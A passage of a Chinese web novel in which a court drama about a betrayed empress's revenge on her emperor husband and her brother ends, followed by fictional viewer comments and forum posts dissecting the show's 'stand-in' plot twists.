【可我怎么觉得,她眼底有遗憾?】 【替身感拉满了……谁才是他最初追的人?】 ——戏,才刚刚开始。 皇帝唐珏惯爱带着童心未泯的陆皇后离宫,去往民间烟火人间。 每逢上元,他便换下龙袍,着一袭素色长衫,牵着温萝的手,混入人群,看河灯漂浮如星,听烟火炸裂如雷。 她笑得像个寻常小娘子,提着灯笼追着孩童跑,他便在后头含笑望着,偶尔伸手将她捞回怀里:“慢些,别摔着。” 谁人都知,皇帝后宫三千,佳丽如云,可自陆皇后入宫,椒房专宠,再无第二人得幸。 朝臣私下称她“妖妃”,弹劾折子堆满御案,说她蛊惑圣心,祸乱朝纲。 可唐珏只轻描淡写一句:“朕心所向,何须尔等置喙?”便将折子焚于殿前。 陆皇后家世显赫,乃镇国将军温氏之女,父兄镇守北疆,铁蹄踏碎敌国十余载,百姓称其“温家军”,是大胤的脊梁。 谁敢真把“妖妃”二字说重了? 惹怒圣颜是小,惹怒边关三十万铁骑,才是灭门之祸。 于是,唐珏对她的宠爱,愈发肆无忌惮。日日留宿椒房殿,连早朝都常因“皇后不适”而推迟。 宫人私语:“椒房殿的灯,比月还亮,比命还长。” 可那光,终究照不进边关的雪。 那一日,急报如雪片般飞入皇城,北狄夜袭边关,温家军溃败,镇国将军温远山“献城投敌”,其子温意率残部逃遁,生死不明。 朝堂哗然,老臣们等了十年的机会,终于来了。 “卖国求荣!温家欺君!” “请陛下立斩温氏全族,以正国法!” “陆皇后乃温氏之女,当废黜,幽闭冷宫!” 唐珏坐在龙椅上,指尖轻叩扶手,一言不发。 满朝文武跪地高呼,声震殿宇。他终于开口,声音冷得像冰:“消息未实,不得妄议。” 可不过三日,第二道急报传来,温远山率残部退守孤城,拒不归降,却被副将反戈一击,囚于地牢,罪名坐实。 朝堂沸腾,弹劾如潮。 不论消息真假,温家“通敌卖国”的罪名,已钉死在史册上。 温萝是在椒房殿听闻消息的。 她正为唐珏绣一件家常褙子,针线忽然一滑,扎破指尖,血珠滚落,染红了素绢。宫人战战兢兢地跪下,将边关急报呈上。她接过,只看了第一行字,便觉天旋地转。 “不可能……父亲一生忠烈,兄长誓死卫国……怎会……怎会卖国?!” 她冲进养心殿,跪在唐珏面前,泪如雨下:“陛下,求您彻查!我父兄绝非叛臣!定是中了敌计!求您……求您派人去查!” 唐珏望着她,眸色深沉,久久不语。 “阿萝,”他终是开口,声音低哑,“你可知,若朕查了,便是与整个朝堂为敌?” “可若不查,便是与忠魂为敌!”她仰头,眼中泪光未落,却已燃起火光,“陛下,您曾说信我,信温家……如今,您信谁?” 他闭了闭眼,终是叹道:“朕……不能查。” 那一夜,椒房殿灯火未熄。 温萝大病一场,高烧不退,梦中全是桃林、骏马、兄长温意的笑颜,还有父亲在边关城楼上披甲执剑的身影。 她喃喃:“你们说谎……你们都在说谎……” 十日后,圣旨下:温远山通敌卖国,罪证确凿,斩首示众,温氏全族一百三十七口,除皇后温萝外,尽数问斩,尸首曝于城南三日,不得收殓。 消息传入后宫时,温萝正倚在窗前,望着天上一弯冷月。 她没有哭,只是静静坐着,像一尊玉雕的偶人。 直到宫人低声说起“温小将军的……还未找到……”,她才猛地起身,冲向宫门,却被侍卫拦下。 “让我出去!我要见他!我要见我兄长!”她嘶喊,指甲在宫门上刮出刺耳声响。 无人应答。 她瘫坐在地,终于放声痛哭,哭声凄厉,惊飞了宫檐上的寒鸦。 椒房殿从此冷清下来。 唐珏依旧日日来,依旧留宿,可温萝不再笑,不再撒娇,不再提民间烟火。 她只是静静坐着,望着那柄他曾赠她的玉如意,轻声问:“陛下,您爱的,是温萝,还是温家?” 他不答。 她也不再问。 曾经手握重权的温家,终究倒了。 忠烈之名,化作史书一页污墨。 第1494章 活着等一个真相 百十口人命,无人收殓,尸骨散落城南,连乌鸦都不愿多啄。 温萝褪去华服,换上素衣,每日焚香诵经,不再见帝,不再理政,仿佛已与这深宫一同死去。 可她知道。 她不能死。 她要活着,活着等一个真相。 哪怕,那真相,会将她与他,一同焚尽。 椒房殿的烛火,已连续七夜未熄。 温萝坐在铜镜前,指尖轻轻抚过那支白玉簪,是父亲生前为她及笄所赠,如今却成了她与过往唯一的联系。 宫人说,皇后这几日不语不食,只盯着那支簪子,像是在等一个不会回来的人。 可她知道,她等的,从来不是父亲。 而是真相。 直到三日前,一个黑衣人悄然潜入椒房殿,将一封密信塞入她手中。 信上无署名,只有一行小字:“冷宫西角,夜半时分,陛下与亡者相会。” 她起初不信。温意已死,首级悬于北狄城门,她曾亲耳听闻,亲见宫人呈上的画像。 可那封信的字迹,却是温意亲笔,她认得。 那一夜,她换了身素衣,披上斗篷,悄然潜出椒房殿。 月色如霜,冷宫荒草丛生,虫鸣凄切。她避过巡逻侍卫,藏身于西角残破的回廊下。 远处,一盏孤灯在废弃的偏殿亮起,门扉轻启,一道明黄身影走了进去。 是唐珏。 他竟真在此处。 温萝屏息,悄然靠近,透过窗棂的缝隙向内望去。 殿内烛光摇曳,映出两人交缠的身影。 一人背对门口,身姿挺拔,玄色长衫微敞,正是唐珏。而另一人,雌伏于下,容貌精致得近乎雌雄难辨,黑丝长发如瀑垂落,遮住半张脸,却仍叫温萝一眼认出。 那是温意。 她兄长。 她以为早已死在边关战场的兄长。 温萝的呼吸骤然停滞,心脏如被重锤击中,几乎要冲破胸膛。 她死死咬住唇,不让自己发出一丝声响,可眼底已燃起滔天怒火与惊愕。 殿内,唐珏已没了平日里装出的儒雅从容。他像是患了病,紧紧抱着温意,声音透出几分病态的颤抖:“温意,你是最懂我的……我不是不想留温家,可我坐在这位置上,就一定要除掉温家。留着温家一天,我的皇位就每日悬空着,我心里不踏实……阿意,你别怨我,你别怨我……” 他不称“朕”,在温意面前,他从不自称帝王。 他像是孩童般在他怀中蹭着,声音苍凉:“阿意,我知你恨透了我,是我毁约,没能留下你父亲一条命……可我与大将军约谈,他不肯苟活,自尽而亡……我们已经走到这一步,如何还能后退?” 他忽然松开温意,抓起一旁的长剑,紧紧抱在怀中,像是抱着唯一的慰藉:“这剑……是你为我寻来的,你说它能护我江山……如今,它护不住你,也护不住我……” 那剑,正是温意曾为他寻来的古剑“承影”,剑身幽光流转,曾是两人情谊的见证。 唐珏抱着剑,眼神迷离,近乎癫狂:“你可还记得你说过,哪怕与天下人为敌,也定会为我护住这江山?你要帮朕,你要陪着朕……朕不能没有你……” 温意静静望着他,脸上那惯常的轻浮笑意早已消散,唯余一片沉重与认真。 他缓缓伸出手,握住唐珏颤抖的手掌,声音低而坚定:“事已至此,无需再提。你要知晓,错的不是你。” 他顿了顿,眼底闪过一丝痛楚:“说到底是温家功高震主了。” 温萝在窗外,听得字字如刀,剜心刺骨。 她终于明白,父亲不是卖国,而是被逼自尽。 温家不是叛臣,而是功高震主,成了皇权的祭品。 而唐珏,她曾以为深爱她的夫君,竟亲手策划了一切,只为铲除将门,稳固皇权。 可他为何要留温意一命? 为何夜夜前来冷宫,与他相会? 为何在温意面前,卸下帝王伪装,露出如此脆弱的一面? 她看着殿内两人,一个抱着剑喃喃自语,一个轻轻抚着他的发,画面诡异而凄美,像是一场禁忌的祭奠。 温萝缓缓闭眼,泪水无声滑落。 她曾以为自己是被偏爱的皇后,如今才知,不过是一枚被利用的棋子。 她的爱,她的家,她的忠烈门楣,都在这场权谋中,被碾作尘泥。 可她不能哭,不能怒,不能动。 她只能退。 退入更深的黑暗,蛰伏,等待。 直到她看清。 这局,到底是谁在执棋。 她看着房间内,唐珏破涕为笑,指尖轻抚温意的发丝,眉眼温柔得近乎虔诚。 殿内烛光摇曳,映得两人身影交叠,仿佛天地间只剩彼此。他低声哄着:“自我登基以来,从未碰过旁人,只等阿萝为我们生下孩子。只有阿萝生下的孩子,才最像我们二人。她长得那般像你,孩子也定是一半像我,一半像你。等她诞下皇嗣,我便立刻封他为皇储,日后继承大业。这天下,终是你我二人的。” 温意眸光微动,似有千言万语,终究只化作一声轻叹,轻轻靠入他怀中。 窗外,温萝捂住脸,眼泪奔涌而出,却不敢发出半点声音。 滚烫的泪水不停落下,染湿前襟,像是一颗颗灼烧灵魂的火种。 她只觉痛彻心扉,那双曾经璀璨无比的黑眸,在后宫的磋磨中一点点失了光彩,此刻更是蒙上一层雾霭,死气沉沉,再不见半分光亮。 她踉跄后退,不敢再看,不敢再听。 她曾以为,唐珏对她的宠爱,是世间最真的情意。可如今才知,那不过是精心编织的牢笼。 她不是爱人,不是妻子,而是血脉的容器,是皇权延续的工具。他爱的,从来不是她,而是她身上那点与温意相似的影子。 她失魂落魄地回到椒房殿,宫人早已被遣退,殿内空寂如墓。 她跌坐在地,抱住膝盖,终于放声痛哭。 可声音刚出口,又猛地咬住手腕,将哭声硬生生咽了回去。 在这深宫,哭声是软弱,是破绽,是敌人最想看到的裂痕。 “假的……全部都是假的。”她喃喃自语,声音沙哑如枯叶摩擦,“从一开始,就是个骗局!” 第1495章 为何要让我活着 她想起父亲在边关城楼上披甲执剑的身影,想起温家百十口人被斩首示众,尸骨无存……而她,竟还曾为这个男人落泪,为他祈求,为他信他! “可怜我温家,一早就在这棋局之内,被人耍弄!”她咬牙切齿,声音里满是血味,“温家功高震主,我温家忠心为主,自镇守边关,多少温家血脉死于战场,以血明志!可到最后,终是抵不过帝心难测,人言可畏!” 她猛地抬头,眼中泪光未干,却已燃起滔天恨火。 “说什么最尊敬大将军?说什么有将军乃是大唐之福?虚伪至极,可笑至极!”她冷笑,笑声凄厉,“他说这些时,内心早已想了多少手段,要致温家于死地!我温家兢兢业业,为帝为民,为大唐抛头颅洒热血,多少温家人落得马革裹尸的下场!可最终换来了什么?是斩首,是曝尸,是万民唾骂!” 她忽然停下,喘息粗重,像是被抽尽了力气。 可她不甘心。 她想起温意,那个教她骑马、护她长大的兄长。他明明知晓唐珏的心思,知晓这帝王对他的执念,为何还要将她嫁入深宫?为何还要做了那把帝王的刀,亲手斩断温家的命脉? “他便是爱男子又何妨……可为何,为何要将我推入这深渊?”她质问,声音在空殿中回荡,无人应答。 温萝心中的恨意早已压制不住:“温家忠烈,何罪之有?唐珏!你夺我家园,辱我家族,骗我真情,今日,我温萝立誓,此仇不报,誓不为人!” 可她哭到最后,倏然又抬手,狠狠抹去脸上的泪痕。 动作粗暴,像是要将过去的自己一同撕碎。 她站起身,走到铜镜前。 镜中女子,绝色容颜未改,可那双黑眸,早已没了天真,唯余世故与冷厉。 她凝视着自己,仿佛在看一个陌生人。 那一夜,温萝跪于蒲团之上,手中佛珠一颗颗拨动,颂念经文。 可她念的,不再是祈福,而是诅咒。 她跪的,是温家列祖列宗。 她断的,是与温意的兄妹情,与唐珏的夫妻情分。 她焚的,是过往的痴念与软弱。 窗外,月色如血。 椒房殿的灯,终于熄了。 可有些人,注定再也不会醒来。 她开始步步为营。 贵妃,是她选中的刀。 那女人曾痴恋唐珏,却终生未得宠幸,心中怨恨如毒藤缠绕。温萝只轻语一句:“你若助我,我许你死后追封为后。”贵妃便红了眼,甘愿赴死。 御膳房的汤药中,悄悄多了味“鹤顶红”,极淡,日日累积,唐珏毫无察觉。 他仍夜夜留宿椒房殿,握着温萝的手,低语:“阿萝,你说,我们的孩子会像谁?” 温萝只是笑,笑得温柔,笑得凄美,然后在他入睡后,从袖中取出药丸,无声吞下,那是她多年来从未间断的绝育药,苦涩入喉,却比不过心口的恨意。 她从未想过为他生子。 她要的,是他的命,他的江山,他的罪孽,由她亲手终结。 三月后,唐珏暴毙于养心殿,御医诊断为“心疾突发”。 百官悲恸,唯有温萝立于灵前,一滴泪未落。 次日,她率禁卫军围贵妃寝宫。贵妃立于殿中,一身素衣,却笑得释然:“我知我必死,只求死后,能与他同葬。” 温萝冷眼望着她:“你配吗?” 剑出,血溅三尺。贵妃倒下时,眼中竟无怨恨,唯有解脱。 唐珏已死,后宫无主,宗室震动。 温萝立于朝堂,一袭黑金凤袍,声如寒玉:“安亲王虽逝,其子尚存。我请命,过继长子入宫,立为皇储,承继大统。” 群臣哗然,却无人敢逆。一则温萝手握禁军,二则她身后是温家旧部与边关残将,三则新帝年幼,正是权臣所愿。 三日后,安亲王长子入宫,年仅七岁,懵懂无知,被推上龙椅,改元“惠恩”。 登基大典,温萝立于珠帘之后,头戴凤冠,身披霞帔,已为皇太后。她垂帘听政,诏令天下:为温家平反,追封镇国公,立衣冠冢于皇陵之侧。 百姓欢呼,称她为“贤后转世”。 可无人知晓,那一夜,她独自乘辇,驶向冷宫。 当夜,月色如铁,冷宫寂寥。 温萝乘辇而来,宫人避退,只余小太监提灯引路。她踏过荒草丛生的庭院,推门而入。那扇锈迹斑斑的铁门发出刺耳的呻吟,仿佛在哀鸣这宫中最后的囚徒。 温意被锁于墙角,四肢皆废,手筋脚筋尽断,双脚套入铁镣,双手被铁链缚于墙上。 他曾经精致如画的容颜,如今惨白如纸,眼窝深陷,唇无血色,唯有那双眼睛,仍残留着昔日的桀骜与痛楚。 他听见脚步声,缓缓抬头。 那一瞬,他几乎认不出她。 华服加身,满身戾色,眉眼间再无半分天真,唯有杀伐决断的冷意。 她不再是那个追着雪狐跑的少女,不再是那个依偎在兄长怀中撒娇的温萝。 她是皇太后,是真正的掌权者。 小太监殷勤地擦拭木椅,温萝驻足良久,终是缓缓坐下,裙摆轻扬,如夜风拂过坟茔。 她细细打量他半晌,唇角微扬,声音轻得像雪落:“温意,你可知现在外面是何年号?” 温意喉间滚动,嗓音沙哑如砂石摩擦,久久未能言语。 温萝垂眸,轻笑一声:“已是惠恩帝一年。妹妹不负温家所望,还了温家清白。” “轰——” 温意瞳孔骤缩,赤红的血丝如蛛网般盘亘眼底。他猛地挣扎,铁链哗啦作响,可四肢无力,只能像一头被剥皮抽筋的野兽般嘶吼。那声音不似人声,而是从灵魂深处迸出的悲鸣。 他想握拳,可手筋已断,他想站起,可脚骨尽碎。他只能用那双布满血丝的眼睛,死死盯着她,恨意如焚。 终于,他扯着嗓子,从喉咙深处挤出两个字:“为何。” 这两个字,轻如叹息,重若千钧。 他在问什么? 为何要杀唐珏?那个曾与你夜夜相拥、许诺一生的人。 为何要毒杀于他,借贵妃之手,再反手将贵妃逼死?你不是恨他吗?可你曾也为他哭过、求过、信过。 为何要打断我手脚,将我囚于冷宫,苟延残喘? 为何变成现在这副可恨的模样?亲兄妹,竟成仇敌。 为何将我布置好的一切,全盘打乱? 为何要让我活着,却让我痛苦如斯?你不是说,要为温家报仇吗?可你如今,比唐珏更像暴君。 第1496章 那光照不进他残破的魂魄 温萝静静听着,不语。 她抬手,指尖轻轻拂过袖中那枚旧玉佩,是父亲生前赠她,刻着“温氏忠烈”四字。 她摩挲着,仿佛在触摸过往的温度。 良久,她才开口,声音平静得可怕:“你说我毁了你的一切?可你可知,你才是毁了温家的人。” 她站起身,一步步走近,裙摆拖过尘土,像是一条蜿蜒的蛇。 “你明知唐珏对你的执念,明知他容不下温家,却仍助他登基,为他筹谋,甚至……将我嫁入深宫。”她冷笑,“你说你爱男子,可你更爱权谋。你把我和父亲,都当成了你与唐珏之间博弈的筹码。” 温意剧烈喘息,眼中血丝更甚。 “你说你被囚冷宫,是唐珏所迫。可你可曾想过,若你早一步反戈,若你早一步揭发他,温家何至于此?你明明可以救父亲,救族人,救百十口性命!可你选择了沉默,选择了苟活,只为了……保全你与他的那段见不得光的情?” 她俯身,直视他的眼睛:“温意,你不是忠臣,也不是兄长。你是温家的罪人。” 温意浑身颤抖,喉间发出“咯咯”之声,像是被扼住咽喉。他想反驳,可一个字也说不出来。 因为他知道她说的,是事实。 他曾以为自己在布局,实则早已被唐珏操控。 他曾以为自己在保护温家,实则亲手将他们推入深渊。他更知道,唐珏之所以能狠下杀手,正是因为他太了解温意的软弱。 温萝转身,望向窗外冷月:“我杀唐珏,不是为情,是为仇。我扶幼帝登基,不是为权,是为温家正名。我平反冤案,不是为赎罪,是为告慰英灵。” 她顿了顿,声音低沉:“至于你……我留你一命,不是因为兄妹情,而是因为我要你亲眼看着,温家如何重生,而你,如何被遗忘。” “可是……为什么……”他竟然还在问为什么。 温萝拊掌而笑,声音清脆如碎玉,却带着一种近乎病态的愉悦。那笑声在冷宫空旷的殿宇间回荡,像是一只孤鸟在废墟中啼鸣,凄厉而空洞。 “这二字竟是由你问出来,”她眸色悠悠转冷,声音温柔得近乎蛊惑,可那话语中却藏匿着冰冷的弑杀之意,“我以为该是我来问你才是。” 她缓缓踱步,裙摆拖过尘土,像是一条蜿蜒的蛇,悄然逼近那被铁链锁住的残躯。 “为何唐珏不爱我,却还要十里红妆迎我入宫为后,专宠我一人?”她轻声问,仿佛在诉说一段旧事,“为何温家满门忠烈,最终却被唐珏以功高盖主算计,含恨而终?” 她顿了顿,目光如刀,刺向温意的眼底。 “为何我的好兄长,与陛下情投意合,却要算计家人,算计妹妹,只为守住他那皇位?”她声音渐轻,却字字如钉,“为何在你眼中,家国兄妹,都比不上情情爱爱?为何你作为温家嫡子,却如此自私为己?” 她每问一句,声音便轻上一分,像是在问温意,又像是在询问自己,询问这苍天,询问这命运。 “为何你二人的情爱,要牵扯到旁人,要旁人为你们殉葬做祭品?”她又是低低地笑了,似有几分痴狂,泪意在眼底打转,却始终未落,“为何也不肯放过他……” 她闭了闭眼,仿佛在压抑某种几乎要冲破胸膛的悲恸。 这些话,她早已不必等他回答。 因为她知道他答不上来。 温意喉间一甜,猛地呕出一口鲜血,染红了胸前的囚衣。 他喘息着,眼底血丝密布,像是一头被剥皮抽筋的野兽,痛苦而无力。 立刻有太医奉命而入,端着黑褐色的汤药,强行灌入他口中。药汁顺着嘴角流下,混着血水,滴落在地。 温萝低头,静静看着他缓过劲来,才缓缓开口:“可还记得我抓到的那只兔子,和你送予我的那只雪狐?” 温意眼睫微动,似有记忆浮现。 “它们曾经都尚处于幼年,”温萝语气平静,仿佛在讲述一个无关紧要的故事,“我一直将它们养在一处。那雪狐极为聪慧,总是听话懂事地守着我的兔子,像极了你当年,教我骑马,护我周全。” 她顿了顿,眼神骤然冰冷:“可不久前,它不知为何,撕烂了我那兔子。五脏六腑都被它吞吃入腹,只余那雪白的皮毛,在笼中静静躺着。” 她缓缓走近,俯身,指尖轻轻拂过温意的脸颊,动作温柔,却让对方如坠冰窟。 “可见是我太蠢,”她低语,“早该知道狐狸和兔子不能养在一处。即便才刚出生,也去不了它的天性。” 温意干呕着,面色惨白如纸。他想开口,却只发出沙哑的气音。 温萝缓缓直起身,语气毫无波澜:“我留你一命,仅仅因为你是温家最后的血脉。我只需你与女子欢爱,留下温家的种。” 她闭上眼睛,仿佛在宣告一件再寻常不过的事:“倘若你不愿,且在此前死在冷宫,我便扯下你与唐珏那块遮羞布,让天下人都知你二人做下的好事。我会请说书人,在皇都乃至其他城镇传唱你二人苟且之事,绘声绘色,字字入骨。你死后,尸首悬挂皇城门外,以儆效尤。” 她睁开眼,目光如刀:“不仅如此,我更会让唐珏与他那些妃嫔葬在一处,你就是死,也不能跟他葬到一起。” 温意眼睫剧烈颤动,像是被这世间最恶毒的诅咒击中。他张了张嘴,终于,用尽全身力气,哑着嗓子,挤出两个字: “我做。” 温萝笑了。 那笑容,温柔而凄美,像是春日里最后一朵绽放的花,却带着腐朽的气息。 她转身,拂袖而去。 冷宫的门,在她身后缓缓合上。 铁链哗啦作响,温意瘫坐在地,望着那扇紧闭的门,忽然低低地笑了起来。 笑声中,混着血沫,也混着泪。 而宫外,新帝登基的礼炮仍在夜空中炸响,烟花绚烂,照亮整座皇城。 那光芒,照不进冷宫,也照不进他残破的魂魄。 第1497章 为了延续温家血脉的一条狗 如今,他就是温萝脚边为了延续温家血脉的一条狗。 温意蜷缩在冷宫的角落,四肢被废,铁链缠身,曾经那双执剑的手,如今连一杯水都端不起。 他望着温萝离去的背影,那抹明黄凤袍如光般刺眼,而他,只能在黑暗中苟延残喘。 温萝留他一命,不是碍于兄妹之情。 早在温意为了与唐珏的情爱,枉顾温家生死,将她嫁入深宫的那一刻起,她们之间的兄妹情,便已断了。 她留他,仅为温家。 仅为那一线血脉不绝的可能。 温萝含笑挑眉,转身离开冷宫,步履轻盈,仿佛刚刚不是从地狱归来,而是赴了一场春宴。 门外早有女子候着,一袭素衣,眉眼温顺,是温萝亲自挑选的“温家嗣母”。 待温萝离去,那女子才敢踏进冷宫,缓缓关上那扇沉重的铁门。 门合上的刹那,温意闭上了眼。 他知道,从今往后,他不再是将军,不是兄长,不是情人,只是温家血脉的容器,是温萝复仇棋盘上最后一枚活着的棋子。 温萝走在回宫的路上,面上含笑,小太监在一旁说着好听话:“太后娘娘今日气色真好,惠恩帝刚醒就吵着要见您呢。” 提起惠恩帝,温萝才终于露出温柔的笑意,那笑意如春水初融,暖了眉眼,也暖了这深宫的寒。 远远地,那身着明黄龙袍的小身影便跑了过来,口中唤着:“母后!母后!”行礼时却还带着孩童的笨拙,温萝垂眸望着他,轻轻扶起,指尖抚过他额前碎发,像是所有忧愁悲伤都在此刻消失不见。 她牵着他,走向金銮殿。 镜头缓缓拉远,皇宫高墙渐渐模糊,青砖房、桃树、春日暖阳浮现眼前。 那少女头发乱糟糟的,身上穿着小厮衣服,正站在青砖房顶上,准备往下跳。 身后一群小厮将领追着喊:“小姐!小姐你别跳啊!” 她努努鼻子,哼了一声,眼见人追近,正要纵身一跃—— 桃树下,一名白衣男子立于花雨中,容貌俊美如画,一双浅棕色的眸子含着柔意,望着她,轻笑一声。 她一时看呆了,连脚下都忘了动作。 漫天桃花纷纷扬扬,洒落在两人发梢之间。 男子一只手臂箍住她腰身,稳稳落地,她面色绯红,指尖轻轻推开他,却掩不住眼底的羞怯。 “你总是这样,”她低声道,“不声不响就出现。” “可若我不来,”他低笑,“你就要摔了。” 镜头恍若在此刻定格,桃花静止,时光凝滞。 画面再度转到她与小皇帝携手上朝听政的那一幕。 文武百官跪拜,山呼万岁。 温萝立于珠帘之后,惠恩帝坐于龙椅,小小的手紧紧攥着她的袖角。 唐珏为高位害你性命,夺你皇位,今日我便让你的儿子登基为帝。 她唇角勾起一抹笑意,温柔而冷冽,像是春日里最艳的花,却藏着最毒的刺。 画面一黑,剧终。 可这“终”字,却在无数观众心中炸开惊雷。 #替身大结局# 冲上热搜第一。 【微博热评区】 “我人傻了!!打从一开始我就猜温栩栩演的温萝是某个死去白月光的替身,结果你告诉我她是她亲哥的替身??还带出一段皇帝和亲哥的禁忌之恋??这反转我脑回路都跟不上了!!” “细品真的细思极恐……温萝从头到尾都在被利用。她以为自己是皇后,是宠妃,是被爱的人,结果呢?她只是唐珏用来“复刻”温意的工具。而唐珏自己,又是安亲王的替身。你把我当替身,我也把你当替身……这哪是宫斗,这是替身文学的终极闭环!” “从政治逻辑看更绝。温萝是振国大将军之女,身份敏感,不可能嫁给任何皇子。安亲王娶了别人,她连做妾都不行。所以她退而求其次,嫁给和安亲王长得像的唐珏……结果这一步,就踏进了死局。她不是不爱,是根本没得选。” “最刀的是,温萝其实可能真的爱过唐珏。她以为那点温柔是给她的,结果全是借她的脸,演给另一个人看。她恨的不是背叛,是自己连被爱的资格都没有。她最后扶持惠恩帝登基,不是为了权力,是想给“温家”一个名分——哪怕这个孩子,也可能是替身的后代。” “你们发现没?整部剧里,唯一“真实”的情感,可能只有温萝对惠恩帝的母爱。那个孩子喊她“母后”的时候,她眼里是真的有光。可这光,也是假的——因为那孩子是安亲王的血脉,是她复仇的工具。她爱的,是“温家”的延续,不是孩子本身。这太狠了。” “温栩栩这段表演太绝了!从冷宫出来时的笑,到听惠恩帝喊母后时的柔,再到最后那抹意味深长的笑,层层递进。尤其是她看温意那一眼,没有恨,没有悲,只有“物尽其用”的冷漠。她不是在演皇后,她就是温萝。” “注意温萝的服饰变化!前期是华贵凤袍,后期垂帘听政时,她穿的是素色深衣,但领口绣着温家军旗的暗纹。她没称帝,却用这种方式宣告:温家,回来了。” “这剧根本不是宫斗,是存在主义的寓言。温萝从“被定义的替身”到“主动成为操控者”,她用复仇夺回主体性。可她越成功,越孤独。她赢了天下,却再也找不到一个能叫她“阿萝”的人。” “求原著!这剧情太适合写成长篇了!我已经脑补出十万字温意在冷宫写血书,唐珏临终前喊的不是“温萝”而是“阿意”,惠恩帝长大后发现身世,与温萝对峙……啊啊啊谁写谁火!” “回看开头,全是伏笔!温萝出嫁时,镜头扫过她妆匣,里面放着一枚安亲王送的玉佩,她看了一眼就合上了。那时候她还在等他。可后来,她把那玉佩扔进了井里。象征她彻底斩断了“真心”。” “温栩栩演得太狠了!我看着她变成冷血太后,心疼死了!建议查查演员心理状态,这角色太压抑了,别出事!!” 第1498章 这份爱太自私 “别光说情感,这权谋也牛啊!温萝扶持安亲王之子,既避开了“太后专政”的骂名,又用“血脉正统”堵住群臣之口。她不称帝,却比皇帝更像帝王。这操作,比那些喊打喊杀的女主高明一百倍。” “爆火不是偶然。它戳中了现代人的集体焦虑,我们是否也在扮演“替身”?在职场、在家庭、在感情里,我们是否也在用“像某个人”来换取被爱、被认可?温萝的复仇,是所有“替身”的觉醒。” “《替身》能爆,是因为它把“爽剧”和“深度”结合得太好了。你以为是大女主逆袭,结果是人性解剖。你以为是宫斗,结果是命运轮回。它让观众在“爽”完之后,开始思考:我们,是不是也在某个局里?” “甜到发腻,虐到骨裂,这哪是爱情,是诛心局” 【网络论坛·热议帖区】 标题:#《替身》看完了,我整个人都裂开了……前面笑出声,后面哭到喘不过气# 楼主:@萝萝不哭 姐妹们,我必须发个长帖,不然我今晚别想睡了。 刚看完《替身》前半部分的时候,我整个人都在尖叫!唐珏和温萝那点互动,甜得我直接在沙发上打滚!你们还记得那场春日游湖吗?唐珏亲自为温萝撑伞,雨丝斜飞,他低头为她拂去发梢水珠,轻声说:“你若不愿,朕便不逼你。”那一刻我满脑子都是“啊啊啊这就是爱啊!是命中注定的救赎!”我甚至截图发朋友圈,配文:“磕到了,这能封神。” 可现在……我现在只想把当时的自己拖出来打一顿。 那不是爱。 那是一场精心策划的、透过温萝的脸,去凝望另一个人的痴妄。 你们还记得唐珏带温萝去董记点心铺那场戏吗?温萝说想吃桂花糕,唐珏笑着摸她的头:“和你哥哥一样贪吃,不过阿意最爱吃豌豆黄。”当时我还觉得,哎呀,这兄弟情真好,皇帝把小舅子的喜好都记得清清楚楚,多贴心! 现在回想起来,我鸡皮疙瘩都起来了。 那不是兄弟情,那是情人间的私语。 他叫她“阿萝”,可眼里想的,是“阿意”。他买豌豆黄,不是因为温意爱吃,而是因为他曾和温意一起吃过,那是他们之间的“纪念”。 还有那支白玉簪! 那支雕刻着兰草的白玉簪! 温萝在首饰铺挑簪子,唐珏却选了那支素净的兰草簪,说:“这支配你。”她欢喜地收下,可后来呢?你们发现没有那支簪子,出现在了温意的发间! 不是巧合。 是唐珏送的。 他送温萝,是借她的手,把信物交给温意。 更窒息的是冷宫那场戏。唐珏深夜潜入,温意披衣起身,两人对坐饮酒,烛光摇曳,唐珏抬手,将那支兰草簪轻轻插入温意的发髻,低语:“你戴这个,最好看。”而那簪子,就放在床榻枕边,像某种隐秘的图腾。 我他妈当场窒息。 前面那些“甜”,全成了刀子,一刀刀往心口捅。 温萝呢? 她还在傻乎乎地以为,皇帝是爱她的。 她穿着他送的衣裳,吃着他挑的点心,以为自己终于挣脱了“替身”的命运,可她不知道,她只是他们爱情故事里的道具,是温意不愿入宫,唐珏便退而求其次,选了与他生得一模一样的妹妹。 他们爱的,从来都不是她。 回复1:@意难平就是我 同意楼上!我最破防的是温萝去冷宫见温意那场戏。 她一身素衣,站在破败的宫门前,风卷着落叶在她脚边打转。温意坐在院中石凳上,抬头看她,眼神复杂。而就在这时,我注意到了他头上,还戴着那支兰草白玉簪。 温萝的目光在那簪子上停留了一瞬,没说话,只是轻轻笑了下:“哥哥,你还是喜欢这个。” 温意没答。 可那一笑,比哭还让人心碎。 她终于懂了。 从头到尾,她都不是谁的救赎,而是他们爱情的祭品。 回复2:@深水区观察员 你们注意到温意的转变了吗? 前期的温意,吊儿郎当,爱笑爱闹,像个被宠坏的贵公子。他和温萝在将军府里追逐打闹,抢她的点心,逗她的兔子,看起来就是个没心没肺的纨绔子弟。 可越往后看,越觉得不对劲。 他太冷静了。 安亲王“死”的那天,温萝在院里抓兔子,手用力到兔子都在蹬腿,那是她压抑的悲痛,她爱的人死了,可她不能哭,不能闹,因为她是温家的女儿,她要体面。 可温意呢? 他听完传信,只淡淡说了句:“不该他的,不能强求,否则只会遭到反噬。” 这句话,根本不是说安亲王,是说他自己。 他早就知道唐珏的心意,也知道自己与唐珏之间那见不得光的关系,更清楚,一旦他入宫,温家必遭反噬。 可他做了什么? 他选择了自我放逐。 他不去争,不娶公主,不入朝堂,远赴边疆,看似是避世,实则是把温萝推了出去。 他明知唐珏会选温萝,因为她们长得像。 他明知温萝会痛苦,可他还是让她去了。 他为了保全自己与唐珏之间那点扭曲的爱,把亲妹妹推进了火坑。 你说他不爱唐珏吗?他爱。 可这份爱,太自私了。 他宁愿温家满门被牵连,宁愿妹妹余生困于牢笼,也不愿亲手斩断这段禁忌之情。 他不是温家的顶梁柱,他是温家的掘墓人。 回复3:@清醒一点啊阿萝 最让我心疼的,是温萝的“清醒”。 她从头到尾都知道自己是谁。 她是镇国大将军的女儿,她的婚事,从来不是“喜欢谁”就能决定的。她爱安亲王,可她从没说过。 她穿着艳色衣裳的时候,是她最后的少女时光。可从安亲王“死”后,她就再没穿过红裙,整整一年,素衣白裙,连发饰都换成了银簪。 她不是不痛,她是太懂。 她知道温家不能与任何皇子结亲,否则就是谋逆之罪。她知道安亲王娶了别人,她就不能再有妄想。她知道,自己唯一的出路,是嫁给未来的皇帝,哪怕那人,只是把她当成另一个人的影子。 可她还是去了。 第1499章 有没有碾压温栩栩? 她不是为了爱,是为了温家。 她以为自己嫁的是皇帝,实则是跳进了唐珏与温意共同编织的梦。 直到最后,她才终于醒悟。 于是她反手就是一局。 你们还记得结局那场戏吗? 